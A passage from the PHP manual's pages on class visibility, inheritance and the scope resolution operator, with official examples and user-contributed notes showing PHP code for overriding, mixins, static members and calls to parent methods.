    abstract protected function _test();
}

class Bar extends Base {

    protected function _test() { }

    public function TestFoo() {
        $c = new Foo();
        $c->_test();
    }
}

class Foo extends Base {
    protected function _test() {
        echo 'Foo';
    }
}

$bar = new Bar();
$bar->TestFoo(); // result: Foo
?>
imran at phptrack dot com 18-Aug-2009 11:06
Some Method Overriding rules :

1. In the overriding, the method names and arguments (arg’s) must be same.

Example:
class p { public function getName(){} }
class c extends P{ public function getName(){} }

2. final methods can’t be overridden.

3. private methods never participate in the in the overriding because these methods are not visible in the child classes.

Example:
class a {
private  function my(){
    print "parent:my";
}
public function getmy(){
$this->my();
}
}
class b extends a{
    private  function my(){
        print "base:my";
}
}
$x = new b();
$x->getmy(); // parent:my

4. While overriding decreasing access specifier is not allowed

class a {
public  function my(){
    print "parent:my";
}

}
class b extends a{
    private  function my(){
        print "base:my";
}
}
//Fatal error:  Access level to b::my() must be public (as in class a)
a dot schaffhirt at sedna-soft dot de 29-Jun-2009 09:27
If you miss the "package" keyword in PHP in order to allow access between certain classes without their members being public, you can utilize the fact, that in PHP the protected keyword allows access to both subclasses and superclasses.

So you can use this simple pattern:

<?php
    abstract class Dispatcher {
        protected function &accessProperty (self $pObj, $pName) {
            return $pObj->$pName;
        }
        protected function invokeMethod ($pObj, $pName, $pArgs) {
            return call_user_func_array(array($pObj, $pName), $pArgs);
        }
    }
?>

The classes that should be privileged to each other simply extend this dispatcher:

<?php
    class Person extends Dispatcher {
        private $name;
        protected $phoneNumbers;

        public function __construct ($pName) {
            $this->name = $pName;
            $this->phoneNumbers = array();
        }
        public function addNumber (PhoneNumber $pNumber, $pLabel) {
            $this->phoneNumbers[$pLabel] = $pNumber;

            // this does not work, because "owner" is protected:
            // $pNumber->owner = $this;

            // instead, we get a reference from the dispatcher:
            $p =& $this->accessProperty($pNumber, "owner");

            // ... and change that:
            $p = $this;
        }
        public function call ($pLabel) {
            // this does not work since "call" is protected:
            // $this->phoneNumbers[$pLabel]->call();

            // instead, we dispatch the call request:
            $this->invokeMethod($this->phoneNumbers[$pLabel], "call", array());
        }
    }

    class PhoneNumber extends Dispatcher {
        private $countryCode;
        private $areaCode;
        private $number;
        protected $owner;

        public function __construct ($pCountryCode, $pAreaCode, $pNumber) {
            $this->countryCode = $pCountryCode;
            $this->areaCode = $pAreaCode;
            $this->number = $pNumber;
        }

        protected function call () {
            echo("calling " . $this->countryCode . "-" . $this->areaCode . "-" . $this->number . "\n");
        }
    }

    $person = new Person("John Doe");
    $number1 = new PhoneNumber(12, 345, 67890);
    $number2 = new PhoneNumber(34, 5678, 90123);
    $person->addNumber($number1, "home");
    $person->addNumber($number2, "office");
    $person->call("home");
?>

Without this pattern you would have to make $owner and call() public in PhoneNumber.

Best regards,
what at ever dot com 04-Dec-2008 02:15
If you have problems with overriding private methods in extended classes, read this:)

The manual says that "Private limits visibility only to the class that defines the item". That means extended children classes do not see the private methods of parent class and vice versa also.

As a result, parents and children can have different implementations of the "same" private methods, depending on where you call them (e.g. parent or child class instance). Why? Because private methods are visible only for the class that defines them and the child class does not see the parent's private methods. If the child doesn't see the parent's private methods, the child can't override them. Scopes are different. In other words -- each class has a private set of private variables that no-one else has access to.

A sample demonstrating the percularities of private methods when extending classes:

<?php
abstract class base {
    public function inherited() {
        $this->overridden();
    }
    private function overridden() {
        echo 'base';
    }
}

class child extends base {
    private function overridden() {
        echo 'child';
    }
}

$test = new child();
$test->inherited();
?>

Output will be "base".

If you want the inherited methods to use overridden functionality in extended classes but public sounds too loose, use protected. That's what it is for:)

A sample that works as intended:

<?php
abstract class base {
    public function inherited() {
        $this->overridden();
    }
    protected function overridden() {
        echo 'base';
    }
}

class child extends base {
    protected function overridden() {
        echo 'child';
    }
}

$test = new child();
$test->inherited();
?>
Output will be "child".
Joshua Watt 29-May-2007 09:09
I couldn't find this documented anywhere, but you can access protected and private member varaibles in different instance of the same class, just as you would expect

i.e.

<?php
class A
{
    protected $prot;
    private $priv;

    public function __construct($a, $b)
    {
        $this->prot = $a;
        $this->priv = $b;
    }

    public function print_other(A $other)
    {
        echo $other->prot;
        echo $other->priv;
    }
}

class B extends A
{
}

$a = new A("a_protected", "a_private");
$other_a = new A("other_a_protected", "other_a_private");

$b = new B("b_protected", "ba_private");

$other_a->print_other($a); //echoes a_protected and a_private
$other_a->print_other($b); //echoes b_protected and ba_private

$b->print_other($a); //echoes a_protected and a_private
?>
stephane at harobed dot org 23-Aug-2006 11:22
A class A static public function can access to class A private function :

<?php
class A {
    private function foo()
    {
        print("bar");
    }

    static public function bar($a)
    {
        $a->foo();
    }
}

$a = new A();

A::bar($a);
?>

It's working.
r dot wilczek at web-appz dot de 05-Jan-2006 02:11
Beware: Visibility works on a per-class-base and does not prevent instances of the same class accessing each others properties!

<?php
class Foo
{
    private $bar;

    public function debugBar(Foo $object)
    {
        // this does NOT violate visibility although $bar is private
        echo $object->bar, "\n";
    }

    public function setBar($value)
    {
        // Neccessary method, for $bar is invisible outside the class
        $this->bar = $value;
    }

    public function setForeignBar(Foo $object, $value)
    {
        // this does NOT violate visibility!
        $object->bar = $value;
    }
}

$a = new Foo();
$b = new Foo();
$a->setBar(1);
$b->setBar(2);
$a->debugBar($b);        // 2
$b->debugBar($a);        // 1
$a->setForeignBar($b, 3);
$b->setForeignBar($a, 4);
$a->debugBar($b);        // 3
$b->debugBar($a);        // 4
?>


Object Inheritance

Inheritance is a well-established programming principle, and PHP makes use of this principle in its object model. This principle will affect the way many classes and objects relate to one another.

For example, when you extend a class, the subclass inherits all of the public and protected methods from the parent class. Unless a class overrides those methods, they will retain their original functionality.

This is useful for defining and abstracting functionality, and permits the implementation of additional functionality in similar objects without the need to reimplement all of the shared functionality.

Note:

Unless autoloading is used, then classes must be defined before they are used. If a class extends another, then the parent class must be declared before the child class structure. This rule applies to classes that inherit other classes and interfaces.

Example #1 Inheritance Example

<?php

class Foo
{
    public function printItem($string)
    {
        echo 'Foo: ' . $string . PHP_EOL;
    }

    public function printPHP()
    {
        echo 'PHP is great.' . PHP_EOL;
    }
}

class Bar extends Foo
{
    public function printItem($string)
    {
        echo 'Bar: ' . $string . PHP_EOL;
    }
}

$foo = new Foo();
$bar = new Bar();
$foo->printItem('baz'); // Output: 'Foo: baz'
$foo->printPHP();       // Output: 'PHP is great'
$bar->printItem('baz'); // Output: 'Bar: baz'
$bar->printPHP();       // Output: 'PHP is great'

?>

User Contributed Notes

ghoucine at gmail dot com 27-Aug-2014 05:48
For multiple single inheretance to work the order of class definition is very important if you're going up more than two levels in inheretence.

This won't work:

<?php

class A extends B {}

class B extends C {}

class C {}

$A = new A;
?>
Running the code above will spit a fatal error (Fatal Error:Class 'B' not found)

A change in class definition order will fix this:

<?php

class A extends B {}

class C {}

class B extends C {}

$A = new A;
?>

If you're goin up just one level in inhertance though there shouldn't be any problem. So this code works too:

<?php

class A extends B {}

class B  {}

$A = new A;

?>

I have no explanation as to why this is the case though.
msg2maciej at aol dot com 29-Jan-2011 01:08
PHP supports single class inheritance. My bare idea on accessing protected methods with power of abstracts and sort of "multi-class inheritance SIMULATION":

<?php
error_reporting(E_ALL);

abstract class Base {
    abstract protected function __construct ();
    abstract protected function hello_left ();
    abstract protected function hello_right ();
}

abstract class NotImplemented_Left extends Base {
protected function hello_right () {
echo 'well, wont see that'; }}

abstract class NotImplemented_Right extends Base {
protected function hello_left () {
echo 'well, wont see that'; }}

class Left extends NotImplemented_Left {
protected function __construct () {        # limited visibility, no access from "outside"
echo __CLASS__.'::protected __construct'. "\n"; }
protected function hello_left () {        # limited visibility, no access from "outside"
echo 'protected hello_left in ' . __CLASS__ . "\n"; }}

class Right extends NotImplemented_Right {
protected function __construct () {        # limited visibility, no access from "outside"
echo __CLASS__.'::protected __construct'. "\n"; }
protected function hello_right () {        # limited visibility, no access from "outside"
echo 'protected hello_right in ' . __CLASS__ . "\n"; }
protected function hello_left () {
echo "wont see that, and easy to get rid of it from here\n"; }}

class Center extends Base {
private $left;
private $right;
public function __construct () {
echo 'welcome in ' . __CLASS__ . "\n";
echo 'Center::'; $this->left = new Left;
echo 'Center::'; $this->right = new Right;
echo " oh and\n";
$this->hello_left();
$this->hello_right();
}
public function hello_left () {            # calling class Left
echo __CLASS__.'::'; $this->left->hello_left(); }
public function hello_right () {        # calling class Right
echo __CLASS__.'::'; $this->right->hello_right(); }
}

$c = new Center;
?>

Produces:

welcome in Center
Center::Left::protected __construct
Center::Right::protected __construct
 oh and
Center::protected hello_left in Left
Center::protected hello_right in Right
OZ 15-Nov-2010 12:24
Model for Mixins pattern:

<?php
interface IMixinsCaller
{
    public function __mixin_get_property($property);

    public function __mixin_set_property($property, $value);

    public function __mixin_call($method, $value);
}

abstract class MixinsCaller implements IMixinsCaller
{
    protected $mixins = array();

    public function __call($name, $arguments)
    {
        if (!empty($this->mixins))
        {
            foreach ($this->mixins as $mixin)
            {
                if (method_exists($mixin, $name))
                {
                    return call_user_func_array(array($mixin, $name), $arguments);
                }
            }
        }
        trigger_error('Non-existent method was called in class '.__CLASS__.': '.$name, E_USER_WARNING);
    }

    public function __mixin_get_property($property)
    {
        if (property_exists($this, $property))
        {
            return $this->$property;
        }
        trigger_error('Non-existent property was get in class '.__CLASS__.': '.$property, E_USER_WARNING);
    }

    public function __mixin_set_property($property, $value)
    {
        if (property_exists($this, $property))
        {
            return $this->$property = $value;
        }
        trigger_error('Non-existent property was set in class '.__CLASS__.': '.$property, E_USER_WARNING);
    }

    public function __mixin_call($method, $value)
    {
        if (method_exists($this, $method))
        {
            return call_user_func_array(array($this, $method), $value);
        }
        trigger_error('Non-existent method was called in class '.__CLASS__.': '.$method, E_USER_WARNING);
    }

    public function AddMixin($mixin)
    {
        $this->mixins[] = $mixin;
    }
}

abstract class Mixin
{
    /** @var IMixinsCaller $parent_object */
    private $parent_object;

    public function __construct(IMixinsCaller $parent_object)
    {
        $this->parent_object = $parent_object;
    }

    public function __get($property)
    {
        return $this->parent_object->__mixin_get_property($property);
    }

    public function __set($property, $value)
    {
        return $this->parent_object->__mixin_set_property($property, $value);
    }

    public function __call($method, $value)
    {
        return $this->parent_object->__mixin_call($method, $value);
    }
}
?>
strata_ranger at hotmail dot com 19-Sep-2010 06:37
I was recently extending a PEAR class when I encountered a situation where I wanted to call a constructor two levels up the class hierarchy, ignoring the immediate parent.  In such a case, you need to explicitly reference the class name using the :: operator.

Fortunately, just like using the 'parent' keyword PHP correctly recognizes that you are calling the function from a protected context inside the object's class hierarchy.

E.g:

<?php
class foo
{
  public function something()
  {
    echo __CLASS__; // foo
    var_dump($this);
  }
}

class foo_bar extends foo
{
  public function something()
  {
    echo __CLASS__; // foo_bar
    var_dump($this);
  }
}

class foo_bar_baz extends foo_bar
{
  public function something()
  {
    echo __CLASS__; // foo_bar_baz
    var_dump($this);
  }

  public function call()
  {
    echo self::something(); // self
    echo parent::something(); // parent
    echo foo::something(); // grandparent
  }
}

error_reporting(-1);

$obj = new foo_bar_baz();
$obj->call();

// Output similar to:
// foo_bar_baz
// object(foo_bar_baz)[1]
// foo_bar
// object(foo_bar_baz)[1]
// foo
// object(foo_bar_baz)[1]

?>
jackdracona at msn dot com 15-Apr-2010 05:53
Here is some clarification about PHP inheritance – there is a lot of bad information on the net.  PHP does support Multi-level inheritance.  (I tested it using version 5.2.9).  It does not support multiple inheritance.

This means that you cannot have one class extend 2 other classes (see the extends keyword).  However, you can have one class extend another, which extends another, and so on.

Example:

<?php
class A {
        // more code here
}

class B extends A {
        // more code here
}

class C extends B {
        // more code here
}

$someObj = new A();  // no problems
$someOtherObj = new B(); // no problems
$lastObj = new C(); // still no problems

?>
php at sleep is the enemy dot co dot uk 07-Apr-2010 11:36
Here's fun, an attempt to make some degree of multiple inheritance work in PHP using mixins. It's not particularly pretty, doesn't support method visibility modifiers and, if put to any meaningful purpose, could well make your call stack balloon to Ruby-on-Rails-esque proportions, but it does work.

<?php
abstract class Mix {

    protected $_mixMap = array();

    public function __construct(){

         $this->_mixMap = $this->collectMixins($this);
    }

    public function __call($method, $args){

        // doesn't pass scope
        //return call_user_func_array(array($className, $method), $args);

        // Error: Given object is not an instance of the class this method was declared in
        //$method = new ReflectionMethod($className, $method);
        //return $method->invokeArgs($this, $args);

        $payload = $this->buildMixinPayload($this->_mixMap, $method, $args);
        if(!$payload) throw new Exception('Method ' . $method . ' not found');

        list($mixinMethod, list($method, $args)) = $payload;

        return $this->$mixinMethod($method, $args);

    }

    protected function collectMixins($class){

        static $found = array();
        static $branch = array();

        if(empty($branch)) $branch[] = get_class($this);
        $mixins = array();

        foreach(array_reverse(get_class_methods($class)) as $method){
            if(preg_match('/^mixin(\w+)$/', $method, $matches)){

                $className = $matches[1];

                if(in_array($className, $branch))
                    throw new Exception('Circular reference detected ' . implode(' > ', $branch) . ' > ' . $className);

                if(!in_array($className, $found)){

                    if(!class_exists($className)) throw new Exception('Class ' . $className . ' not found');

                    // populate props from mixin class
                    foreach(get_class_vars($className) as $key => $value){
                        if(!property_exists($this, $key)) $this->$key = $value;
                    }

                    $found[] = $branch[] = $className;
                    $mixins[$className] = $this->collectMixins($className);
                }

                $branch = array(get_class($this));
            }
        }

        return $mixins;
    }

    protected function buildMixinPayload($mixins, $method, $args){

        foreach($mixins as $className => $parents){

            $mixinMethod = 'mixin' . $className;

            if(method_exists($className, $method)) return array($mixinMethod, array($method, $args));

            if(!empty($parents) && $return = $this->buildMixinPayload($parents, $method, $args)){
                return array($mixinMethod, $return);
            }
        }

        return false;
    }

}
?>
jarrod at squarecrow dot com 27-Oct-2009 03:01
You can force a class to be strictly an inheritable class by using the "abstract" keyword. When you define a class with abstract, any attempt to instantiate a separate instance of it will result in a fatal error. This is useful for situations like a base class where it would be inherited by multiple child classes yet you want to restrict the ability to instantiate it by itself.

Example........

<?php

abstract class Cheese
{
      //can ONLY be inherited by another class
}

class Cheddar extends Cheese
{
}

$dinner = new Cheese; //fatal error
$lunch = new Cheddar; //works!

?>


Scope Resolution Operator (::)

The Scope Resolution Operator (also called Paamayim Nekudotayim) or in simpler terms, the double colon, is a token that allows access to static, constant, and overridden properties or methods of a class.

When referencing these items from outside the class definition, use the name of the class.

As of PHP 5.3.0, it's possible to reference the class using a variable. The variable's value can not be a keyword (e.g. self, parent and static).

Paamayim Nekudotayim would, at first, seem like a strange choice for naming a double-colon. However, while writing the Zend Engine 0.5 (which powers PHP 3), that's what the Zend team decided to call it. It actually does mean double-colon - in Hebrew!

Example #1 :: from outside the class definition

<?php
class MyClass {
    const CONST_VALUE = 'A constant value';
}

$classname = 'MyClass';
echo $classname::CONST_VALUE; // As of PHP 5.3.0

echo MyClass::CONST_VALUE;
?>

Three special keywords self, parent and static are used to access properties or methods from inside the class definition.

Example #2 :: from inside the class definition

<?php
class OtherClass extends MyClass
{
    public static $my_static = 'static var';

    public static function doubleColon() {
        echo parent::CONST_VALUE . "\n";
        echo self::$my_static . "\n";
    }
}

$classname = 'OtherClass';
echo $classname::doubleColon(); // As of PHP 5.3.0

OtherClass::doubleColon();
?>

When an extending class overrides the parents definition of a method, PHP will not call the parent's method. It's up to the extended class on whether or not the parent's method is called. This also applies to Constructors and Destructors, Overloading, and Magic method definitions.

Example #3 Calling a parent's method

<?php
class MyClass
{
    protected function myFunc() {
        echo "MyClass::myFunc()\n";
    }
}

class OtherClass extends MyClass
{
    // Override parent's definition
    public function myFunc()
    {
        // But still call the parent function
        parent::myFunc();
        echo "OtherClass::myFunc()\n";
    }
}

$class = new OtherClass();
$class->myFunc();
?>

See also some examples of static call trickery.

User Contributed Notes

jasverix at NOSPAM dot gmail dot com 03-Oct-2013 10:25
Just found out that using the class name may also work to call similar function of anchestor class.

<?php

class Anchestor {

   public $Prefix = '';

   private $_string =  'Bar';
    public function Foo() {
        return $this->Prefix.$this->_string;
    }
}

class MyParent extends Anchestor {
    public function Foo() {
         $this->Prefix = null;
        return parent::Foo().'Baz';
    }
}

class Child extends MyParent {
    public function Foo() {
        $this->Prefix = 'Foo';
        return Anchestor::Foo();
    }
}

$c = new Child();
echo $c->Foo(); //return FooBar, because Prefix, as in Anchestor::Foo()

?>

The Child class calls at Anchestor::Foo(), and therefore MyParent::Foo() is never run.
guy at syntheticwebapps dot com 16-Sep-2013 05:29
It seems as though you can use more than the class name to reference the static variables, constants, and static functions of a class definition from outside that class using the :: . The language appears to allow you to use the object itself.

For example:
class horse
{
   static $props = {'order'=>'mammal'};
}
$animal = new horse();
echo $animal::$props['order'];

// yields 'mammal'

This does not appear to be documented but I see it as an important convenience in the language. I would like to see it documented and supported as valid.

If it weren't supported officially, the alternative would seem to be messy, something like this:

$animalClass = get_class($animal);
echo $animalClass::$props['order'];
remy dot damour at ----no-spam---laposte dot net 05-May-2010 10:50
As of php 5.3.0, you can use 'static' as scope value as in below example (add flexibility to inheritance mechanism compared to 'self' keyword...)

<?php

class A {
    const C = 'constA';
    public function m() {
        echo static::C;
    }
}

class B extends A {
    const C = 'constB';
}

$b = new B();
$b->m();

// output: constB
?>
Theriault 06-Dec-2009 05:58
A class constant, class property (static), and class function (static) can all share the same name and be accessed using the double-colon.

<?php

class A {

    public static $B = '1'; # Static class variable.

    const B = '2'; # Class constant.

    public static function B() { # Static class function.
        return '3';
    }

}

echo A::$B . A::B . A::B(); # Outputs: 123
?>
wouter at interpotential dot com 09-Nov-2009 04:24
It's worth noting, that the mentioned variable can also be an object instance. This appears to be the easiest way to refer to a static function as high in the inheritance hierarchy as possible, as seen from the instance. I've encountered some odd behavior while using static::something() inside a non-static method.

See the following example code:

<?php
class FooClass {
    public function testSelf() {
        return self::t();
    }

    public function testThis() {
        return $this::t();
    }

    public static function t() {
        return 'FooClass';
    }

    function __toString() {
        return 'FooClass';
    }
}

class BarClass extends FooClass {
    public static function t() {
        return 'BarClass';
    }

}

$obj = new BarClass();
print_r(Array(
    $obj->testSelf(), $obj->testThis(),
));
?>

which outputs:

<pre>
Array
(
    [0] => FooClass
    [1] => BarClass
)
</pre>

As you can see, __toString has no effect on any of this. Just in case you were wondering if perhaps this was the way it's done.
giovanni at gargani dot it 02-Jun-2009 03:38
Well, a "swiss knife" couple of code lines to call parent method. The only limit is you can't use it with "by reference" parameters.
Main advantage you dont need to know the "actual" signature of your super class, you just need to know which arguments do you need

<?php
class someclass extends some superclass {
// usable for constructors
 function __construct($ineedthisone) {
  $args=func_get_args();
  /* $args will contain any argument passed to __construct.
  * Your formal argument doesnt influence the way func_get_args() works
  */
  call_user_func_array(array('parent',__FUNCTION__),$args);
 }
// but this is not for __construct only
 function anyMethod() {
  $args=func_get_args();
  call_user_func_array(array('parent',__FUNCTION__),$args);
 }
  // Note: php 5.3.0 will even let you do
 function anyMethod() {
  //Needs php >=5.3.x
  call_user_func_array(array('parent',__FUNCTION__),func_get_args());
 }

}
?>
erwinhaantjes at interurbia dot nl 11-Apr-2009 11:36
Here is a nice function i like to share with you because it so nice and handy feature. I wanted to get rid off the parent::methodName(myVar1, myVar2, myVar3 etc.....) construction so i wrote a shortcut to this notation. The only thing you have to do is calling $this->inherited() (or parent::inherited()) to call the same function with the same parameters in the parent class. It is also possible to specify other parameters if you like. You can also use this inside constructors/destructors.

To use this example, put it in the base class of all objects.You also need the simple function below to test if an array is valid (from a self-build library) but you are free to change it to your own needs ;-):

<?php
function suIsValidArray( &$a, &$iCount = null )
{
  $iCount = 0;
  return ( is_array( $a ) and (( $iCount = @count( $a )) > 0 ));
}
?>

The inherited function/construction is familiar language construction in Object Pascal/Delphi (wonderful language). If you have any comments, please enter a note.

Here it is:

<?php
    public function inherited()
    {
       // Use DEBUG backtrace to trace caller function
      $bt = debug_backtrace();
      $bt = $bt[ 1 ]; // List is in reversed order, 0 reffers to this function so get previous one

      if( !suIsValidArray( $bt ))
      { return; }

      $sClassName = $bt["class"];
      $sParentClassName = get_parent_class( $sClassName );
      if( empty( $sClassName ) or empty( $sParentClassName ) or $sParentClassName == $sClassName )
      { return; }

      $sFuncName = $bt["function"];
       // constructor or destructor called (old fashion way)?
      if( ( $bIsConstruct = ( $sFuncName == $sClassName )) or ( $sFuncName == "_".$sClassName ) )
      {
          // get parent constructor/destructor
          $sFuncName = (( !$bIsConstruct ) ? "_" : "" ).$sParentClassName;
        if( $sFuncName == (( !$bIsConstruct ) ? "_" : "" ).$sClassName )
        { return; }
      }

      if( method_exists( $sParentClassName, $sFuncName ))
       {
             // If there are parameters specified, use these
         $args = func_get_args();
         if( !suIsValidArray( $args ))
          { $args = &$bt["args"]; } // otherwise use previous function parameters if any

           $iCount = 0;
           $sArgs = "";
        if( suIsValidArray( $args, $iCount ))
         {
           for( $i = 0; $i < $iCount; $i++ )
            { $sArgs.="&$"."args[$i]".( $i < ($iCount-1) ? "," : "" ); }
         }

         // Simple, evaluate it, this is possible because it is done inside the class itself, and
         // the parent class is already created because is a part of the class structure, no worry, no scope issues
        eval( "$"."result = $sParentClassName::".$sFuncName."($sArgs);" );
        return @$result;
       }
    }
?>
csaba dot dobai at php-sparcle dot com 03-Feb-2009 06:54
For the 'late static binding' topic I published a code below, that demonstrates a trick for how to setting variable value in the late class, and print that in the parent (or the parent's parent, etc.) class.

<?php

class cA
{
    /**
     * Test property for using direct default value
     */
    protected static $item = 'Foo';

    /**
     * Test property for using indirect default value
     */
    protected static $other = 'cA';

    public static function method()
    {
        print self::$item."\r\n"; // It prints 'Foo' on everyway... :(
        print self::$other."\r\n"; // We just think that, this one prints 'cA' only, but... :)
    }

    public static function setOther($val)
    {
        self::$other = $val; // Set a value in this scope.
    }
}

class cB extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Bar';

    public static function setOther($val)
    {
        self::$other = $val;
    }
}

class cC extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Tango';

    public static function method()
    {
        print self::$item."\r\n"; // It prints 'Foo' on everyway... :(
        print self::$other."\r\n"; // We just think that, this one prints 'cA' only, but... :)
    }

    /**
     * Now we drop redeclaring the setOther() method, use cA with 'self::' just for fun.
     */
}

class cD extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Foxtrot';

    /**
     * Now we drop redeclaring all methods to complete this issue.
     */
}

cB::setOther('cB'); // It's cB::method()!
cB::method(); // It's cA::method()!
cC::setOther('cC'); // It's cA::method()!
cC::method(); // It's cC::method()!
cD::setOther('cD'); // It's cA::method()!
cD::method(); // It's cA::method()!

/**
 * Results: ->
 * Foo
 * cB
 * Tango
 * cC
 * Foo
 * cD
 *
 * What the hell?! :)
 */

?>
luka8088 at gmail dot com 25-Jan-2009 12:15
Little static trick to go around php strict standards ...
Function caller founds an object from which it was called, so that static method can alter it, replacement for $this in static function but without strict warnings :)

<?php

error_reporting(E_ALL + E_STRICT);

function caller () {
  $backtrace = debug_backtrace();
  $object = isset($backtrace[0]['object']) ? $backtrace[0]['object'] : null;
  $k = 1;

  while (isset($backtrace[$k]) && (!isset($backtrace[$k]['object']) || $object === $backtrace[$k]['object']))
    $k++;

  return isset($backtrace[$k]['object']) ? $backtrace[$k]['object'] : null;
}

class a {

  public $data = 'Empty';

  function set_data () {
    b::set();
  }

}

class b {

  static function set () {
    // $this->data = 'Data from B !';
    // using this in static function throws a warning ...
    caller()->data = 'Data from B !';
  }

}

$a = new a();
$a->set_data();
echo $a->data;

?>

Outputs: Data from B !

No warnings or errors !
barss dot dev at gmail dot com 01-Jul-2008 12:47
Nice trick with scope resolution
<?php
    class A
    {
        public function TestFunc()
        {
            return $this->test;
        }
    }

    class B
    {
        public $test;

        public function __construct()
        {
            $this->test = "Nice trick";
        }

        public function GetTest()
        {
            return A::TestFunc();
        }
    }

    $b = new B;
    echo $b->GetTest();
?>

will output

Nice trick
richard at richard-sumilang dot com 24-Mar-2008 03:27
Actually, for people not using PHP 5.3 yet you should try avoiding the use of a eval() at all costs! THere are too many security risks and dirty code that come from using eval. If you want to call a static method from a class then you can use call_user_func() instead which is much safer.

Example:

clas Foo{

  public static method Bar(){
    echo "Hello world!";
  }

}

And to execute that with call_user_func you would do the following:

call_user_func(array('Foo', 'bar') [, $params] );

Thanks,
- Richard S.
mongoose643 at gmail dot com 13-Feb-2007 09:11
This is a solution for those that still need to write code compatible with php 4 but would like to use the flexibility of static variables. PHP 4 does not support static variables within the class scope but it does support them within the scope of class methods. The following is a bit of a workaround to store data in static mode in php 4.

Note: This code also works in PHP 5.

(Tested on version 4.3.1+)

The tricky part is when using when arrays you have to do a bit of fancy coding to get or set individual elements in the array. The example code below should show you the basics of it though.

<?php

class StaticSample
{
    //Copyright Michael White (www.crestidg.com) 2007
    //You may use and modify this code but please keep this short copyright notice in tact.
    //If you modify the code you may comment the changes you make and append your own copyright
    //notice to mine. This code is not to be redistributed individually for sale but please use it as part
    //of your projects and applications - free or non-free.

    //Static workaround for php4 - even works with arrays - the trick is accessing the arrays.
    //I used the format s_varname for my methods that employ this workaround. That keeps it
    //similar to working with actual variables as much as possible.
    //The s_ prefix immediately identifies it as a static variable workaround method while
    //I'm looking thorugh my code.
    function &s_foo($value=null, $remove=null)
    {
        static $s_var;    //Declare the static variable.    The name here doesn't matter - only the name of the method matters.

        if($remove)
        {
            if(is_array($value))
            {
                if(is_array($s_var))
                {
                    foreach($value as $key => $data)
                    {
                        unset($s_var[$key]);
                    }
                }
            }
            else
            {
                //You can't just use unset() here because the static state of the variable will bring back the value next time you call the method.
                $s_var = null;
                unset($s_var);
            }
            //Make sure that you don't set the value over again.
            $value = null;
        }
        if($value)
        {
            if(is_array($value))
            {
                if(is_array($s_var))
                {
                    //$s_var = array_merge($s_var, $value);        //Doesn't overwrite values. This adds them - a property of the array_merge() function.
                    foreach($value as $key => $data)
                    {
                        $s_var[$key] = $data;    //Overwrites values.
                    }
                }
                else
                {
                    $s_var = $value;
                }
            }
            else
            {
                $s_var = $value;
            }
        }

        return $s_var;
    }
}

echo "Working with non-array values.<br>";
echo "Before Setting: ".StaticSample::s_foo();
echo "<br>";
echo "While Setting: ".StaticSample::s_foo("VALUE HERE");
echo "<br>";
echo "After Setting: ".StaticSample::s_foo();
echo "<br>";
echo "While Removing: ".StaticSample::s_foo(null, 1);
echo "<br>";
echo "After Removing: ".StaticSample::s_foo();
echo "<hr>";
echo "Working with array values<br>";
$array = array(0=>"cat", 1=>"dog", 2=>"monkey");
echo "Set an array value: ";
print_r(StaticSample::s_foo($array));
echo "<br>";

//Here you need to get all the values in the array then sort through or choose the one(s) you want.
$all_elements = StaticSample::s_foo();
$middle_element = $all_elements[1];
echo "The middle element: ".$middle_element;
echo "<br>";

$changed_array = array(1=>"big dog", 3=>"bat", "bird"=>"flamingo");
echo "Changing the value: ";
print_r(StaticSample::s_foo($changed_array));
echo "<br>";

//All you have to do here is create an array with the keys you want to erase in it.
//If you want to erase all keys then don't pass any array to the method.
$element_to_erase = array(3=>null);
echo "Erasing the fourth element: ";
$elements_left = StaticSample::s_foo($element_to_erase, 1);
print_r($elements_left);
echo "<br>";
echo "Enjoy!";

?>
developit at mail dot ru 27-Jan-2006 12:57
You use 'self' to access this class, 'parent' - to access parent class, and what will you do to access a parent of the parent? Or to access the very root class of deep class hierarchy? The answer is to use classnames. That'll work just like 'parent'. Here's an example to explain what I mean. Following code

<?php
class A
{
    protected $x = 'A';
    public function f()
    {
        return '['.$this->x.']';
    }
}

class B extends A
{
    protected $x = 'B';
    public function f()
    {
        return '{'.$this->x.'}';
    }
}

class C extends B
{
    protected $x = 'C';
    public function f()
    {
        return '('.$this->x.')'.parent::f().B::f().A::f();
    }
}

$a = new A();
$b = new B();
$c = new C();

print $a->f().'<br/>';
print $b->f().'<br/>';
print $c->f().'<br/>';
?>

will output

[A] -- {B} -- (C){C}{C}[C]
Kristof Coomans 25-Nov-2005 12:08
In response to ian at [first name]henderson dot org:

(related bogus bug report: http://bugs.php.net/bug.php?id=26930)

The functionality you've expected maybe will be possible in PHP6, probably by using the static keyword in conjunction with the scope resolution parameter. You can read more about this in the minutes of the PHP developers meeting at 11 and 12 november in Paris: http://www.php.net/~derick/meeting-notes.html point 5.4: Late static binding using "this" without "$" (or perhaps with a different name)
HuugjeWeg 29-Apr-2005 02:58
In response to ian at [first name]henderson dot org:

You are not allowed to redefine static methods, see
http://www.php.net/manual/en/language.oop5.static.php

And in response to thenewparadigm at hotmail dot com: the behaviour you describe seems appropriate for *classes* with static variables, see "Using static variables" on http://nl2.php.net/static
thenewparadigm at hotmail dot com 05-Mar-2005 06:43
There is also a quirk with using the scope resolution operator on static class variables.  Below is an example using a highly modified version of Ian's code:

<?php

class ExampleSuperclass
{
   static $className;

   static function showClassName() {
      echo self::$className . "\n";
   }
}

class ExampleSubclassOne extends ExampleSuperclass
{
   static function setClassName()
   {
       self::$className = "subclassOne";
   }
}

class ExampleSubclassTwo extends ExampleSuperClass
{
   static function setClassName()
   {
      self::$className = "subclassTwo";
   }
}

// setting variables for each class
ExampleSubclassOne::setClassName();
ExampleSubclassTwo::setClassName();

ExampleSubclassOne::showClassName();  // output is "subclassTwo"!

// more output:

echo ExampleSubclassOne::$className . "\n"; // output is "subclassTwo"!
echo ExampleSubclassTwo::$className . "\n"; // output is "subclassTwo"
echo ExampleSuperclass::$className . "\n"; // output is "subclassTwo"!

?>

appearantly, any static variables defined in a superclass are directly referenced in subclasses,
and all changes are visible throughout the class heirarchy.  care must be taken when using static
class variables.
ian at [first name]henderson dot org 01-Feb-2005 07:43
Please note that methods called by the scope resolution operator which are defined by a superclass of the first operand are called in the scope of the SUPERCLASS.  For example,

<?php

class ExampleSuperclass
{
    static function classType()
    {
        return "superclass";
    }

    static function doSomething()
    {
        echo "doing something with " . self::classType();
    }
}

class ExampleClass extends ExampleSuperclass
{
    static function classType()
    {
        return "subclass";
    }
}

ExampleClass::doSomething();
// output is "doing something with superclass"!

?>

